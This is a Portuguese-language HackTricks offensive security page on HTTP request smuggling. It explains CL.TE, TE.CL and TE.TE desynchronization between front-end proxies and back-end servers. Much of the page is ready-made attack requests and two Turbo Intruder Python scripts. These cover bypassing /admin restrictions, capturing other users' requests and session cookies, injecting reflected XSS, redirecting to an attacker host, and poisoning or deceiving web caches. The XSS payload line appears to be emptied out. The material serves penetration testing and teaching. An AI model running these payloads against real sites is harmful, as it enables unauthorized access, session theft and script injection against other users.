# HTTP Request Smuggling / Ataque de Desincronização HTTP
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
## O que é Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 requisições** pelo **servidor de back-end**.\ Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end após a dele**. ### Teoria [Especificação RFC (2161)](https://tools.ietf.org/html/rfc2616) > Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado. **Content-Length** > O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário. **Transfer-Encoding: chunked** > O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.\ > Chunked significa que dados grandes são enviados em uma série de chunks. ### Realidade O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\ Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**. ### Particularidades Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:** * **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**. * **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0` * **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling. ## Exemplos Básicos Os ataques de requisição de desincronização HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar em diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos. ### Exemplos Básicos de Tipos de Vulnerabilidades ![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg) #### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End) - **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`. - **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`. - **Cenário de Ataque:** - O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo. - O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de `Content-Length`. - O servidor de back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 30 Connection: keep-alive Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 Foo: x ``` #### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End) - **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`. - **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`. - **Cenário de Ataque:** - O atacante envia uma requisição chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham. - O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a requisição inteira para o back-end. - O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma subsequente e não intencional requisição. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Connection: keep-alive Transfer-Encoding: chunked 7b GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 x= 0 ``` #### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação) - **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo via obfuscação. - **Cenário de Ataque:** - O atacante envia uma requisição com cabeçalhos de `Transfer-Encoding` obfuscados. - Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada. - A parte não processada da requisição, conforme vista por um dos servidores, se torna parte de uma requisição subsequente, levando a desincronização. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked ``` #### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):** - Ambos os servidores processam a requisição baseados exclusivamente no cabeçalho `Content-Length`. - Esse cenário geralmente não leva a desincronização, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da requisição. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Requisição Normal ``` #### **Cenário CL != 0:** - Refere-se a cenários onde o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da requisição tem conteúdo. - É crucial para entender e elaborar ataques de desincronização, pois influencia como os servidores determinam o final de uma requisição. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Corpo Não Vazio ``` #### Forçando via cabeçalhos hop-by-hop Abusando dos cabeçalhos hop-by-hop, você pode indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de ser abusado**. ``` Connection: Content-Length ``` Para **mais informações sobre cabeçalhos hop-by-hop** visite: {% content-ref url="../abusing-hop-by-hop-headers.md" %} [abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md) {% endcontent-ref %} ## Encontrando HTTP Request Smuggling Identificar vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançado utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades: ### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização - **Método:** - Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 4 1 A 0 ``` - **Observação:** - O servidor front-end processa a solicitação com base no `Content-Length` e corta a mensagem prematuramente. - O servidor back-end, esperando uma mensagem chunked, aguarda o próximo chunk que nunca chega, causando um atraso. - **Indicadores:** - Timeouts ou longos atrasos na resposta. - Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor. ### Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporização - **Método:** - Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 6 0 X ``` - **Observação:** - O servidor front-end processa a solicitação com base no `Transfer-Encoding` e encaminha a mensagem inteira. - O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda por dados adicionais que nunca chegam, causando um atraso. ### Outros Métodos para Encontrar Vulnerabilidades - **Análise Diferencial de Resposta:** - Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância de análise. - **Usando Ferramentas Automatizadas:** - Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas. - **Testes de Variação de Content-Length:** - Enviar solicitações com valores de `Content-Length` variados que não estão alinhados com o comprimento real do conteúdo e observar como o servidor lida com tais discrepâncias. - **Testes de Variação de Transfer-Encoding:** - Enviar solicitações com cabeçalhos de `Transfer-Encoding` obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações. ### Testando a Vulnerabilidade de HTTP Request Smuggling Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazendo com que uma solicitação para `/` resulte em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](./#basic-examples) demonstram como envenenar a solicitação de um cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente. **Considerações Importantes** Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente: * **Conexões de Rede Distintas:** As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade. * **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base no URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido. * **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", concorre com outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva. * **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade. * **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" enviada para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa. ## Abusando do HTTP Request Smuggling ### Para burlar controles de segurança front-end ### Circunvenção de Segurança Front-End via HTTP Request Smuggling Às vezes, proxies front-end impõem medidas de segurança, examinando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições. Considere os exemplos a seguir ilustrando como o HTTP Request Smuggling pode ser usado para burlar controles de segurança front-end, visando especificamente o caminho `/admin` que geralmente é protegido pelo proxy front-end: **Exemplo CL.TE** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net Cookie: session=[redacted] Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 67 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Length: 10 x= ``` No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a requisição inicial, enquanto a requisição incorporada subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a requisição `POST` inicial, mas falha em inspecionar a requisição `GET /admin` incorporada, permitindo acesso não autorizado ao caminho `/admin`. **Exemplo TE.CL** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net Cookie: session=[redacted] Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 4 Transfer-Encoding: chunked 2b GET /admin HTTP/1.1 Host: localhost a=x 0 ``` Por outro lado, no ataque TE.CL, a solicitação `POST` inicial usa `Transfer-Encoding: chunked`, e a solicitação incorporada subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`. ### Revelando a reescrita de solicitação de front-end As aplicações frequentemente empregam um **servidor de front-end** para modificar as solicitações recebidas antes de enviá-las ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: `, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **burlar proteções** ou **descobrir informações ou endpoints ocultos**. Para investigar como um proxy altera uma solicitação, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie uma solicitação, usando este parâmetro por último, semelhante ao seguinte: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Connection: keep-alive Transfer-Encoding: chunked 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 search= ``` Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente. É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro. Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa. Este método serve principalmente para entender as modificações de solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida. ### Capturando solicitações de outros usuários É viável capturar as solicitações do próximo usuário anexando uma solicitação específica como o valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito: Ao anexar a seguinte solicitação como o valor de um parâmetro, você pode armazenar a solicitação do cliente subsequente: ``` POST / HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 319 Connection: keep-alive Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Length: 659 Content-Type: application/x-www-form-urlencoded Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= ``` Neste cenário, o **parâmetro de comentário** destina-se a armazenar o conteúdo dentro da seção de comentários de uma postagem em uma página de acesso público. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário. No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da solicitação do usuário vítima será interrompido no primeiro `&`, que pode até fazer parte da string de consulta. Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa. ### Usando o contrabando de solicitação HTTP para explorar XSS refletido O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas: * A interação com os usuários-alvo **não é necessária**. * Permite a exploração de XSS em partes da solicitação que são **normalmente inatingíveis**, como cabeçalhos de solicitação HTTP. Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a seguinte carga útil demonstra como explorar essa vulnerabilidade: ``` POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: session=ac311fa41f0aa1e880b0594d008d009e Transfer-Encoding: chunked Connection: keep-alive Content-Length: 213 Content-Type: application/x-www-form-urlencoded 0 GET /post?postId=2 HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: "> Content-Length: 10 Content-Type: application/x-www-form-urlencoded A= ``` Este payload é estruturado para explorar a vulnerabilidade através de: 1. Iniciar uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling. 2. Seguir com um `0`, marcando o fim do corpo da mensagem chunked. 3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, ``, desencadeando o XSS quando o servidor processa essa solicitação subsequente. Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não padrão, mas eficaz. ### Usando o HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto ### Explorando Redirecionamentos no Local com HTTP Request Smuggling As aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra: ``` GET /home HTTP/1.1 Host: normal-website.com ``` Resultados em: ``` HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o contrabando de solicitações HTTP para redirecionar usuários para um site externo. Por exemplo: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Connection: keep-alive Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` Esta solicitação contrabandeada poderia fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante: ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com ``` Resultados em: ``` HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` ### Usando o contrabando de solicitação HTTP para realizar envenenamento de cache web ### Explorando o Envenenamento de Cache Web via Contrabando de Solicitação HTTP O envenenamento de cache web pode ser executado se algum componente da **infraestrutura de front-end armazenar em cache conteúdo**, tipicamente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **envenenar o cache**. Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte [Exemplos Básicos](./#basic-examples)). Da mesma forma, é viável enganar o servidor para entregar o conteúdo `/index.html` em resposta a uma solicitação para `/static/include.js`. Consequentemente, o conteúdo `/static/include.js` é substituído no cache pelo de `/index.html`, tornando o `/static/include.js` inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS). Essa técnica se torna particularmente potente se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no local para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o `/static/include.js` atualizado. Abaixo está uma ilustração da exploração do **envenenamento de cache combinado com um redirecionamento no local para um redirecionamento aberto**. O objetivo é alterar o conteúdo em cache de `/static/include.js` para servir código JavaScript controlado pelo atacante: ``` POST / HTTP/1.1 Host: vulnerable.net Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 124 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: attacker.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 ``` Observe a solicitação incorporada direcionada para `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento interno para redirecionamento aberto**). Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento interno para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante. Posteriormente, qualquer solicitação para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS. ### Usando o contrabando de solicitação HTTP para realizar a decepção de cache da web > **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?** > > * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação. > * Na **decepção de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache. O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ `Connection: keep-alive`\ `Content-Length: 43`\ `Transfer-Encoding: chunked`\ ``\ `0`\``\ `GET /private/messages HTTP/1.1`\ `Foo: X` ``` Se essa solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis armazenados em cache. ### Armando o Contrabando de Solicitação HTTP com a Desincronização de Resposta HTTP Você encontrou alguma vulnerabilidade de Contrabando de Solicitação HTTP e não sabe como explorá-la. Experimente este outro método de exploração: {% content-ref url="../http-response-smuggling-desync.md" %} [http-response-smuggling-desync.md](../http-response-smuggling-desync.md) {% endcontent-ref %} ## Scripts do Turbo Intruder ### CL.TE De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Transfer-Encoding: chunked Host: xxx.com Content-Length: 35 Foo: bar 0 GET /admin7 HTTP/1.1 X-Foo: k''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` ### TE.CL De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Host: xxx.com Content-Length: 4 Transfer-Encoding : chunked 46 POST /nothing HTTP/1.1 Host: xxx.com Content-Length: 15 kk 0 ''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` ## Ferramentas * [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) * [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) * [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) * [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) * [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de solicitação. ## Referências * [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) * [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) * [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting) * [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) * [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) * [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) * [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).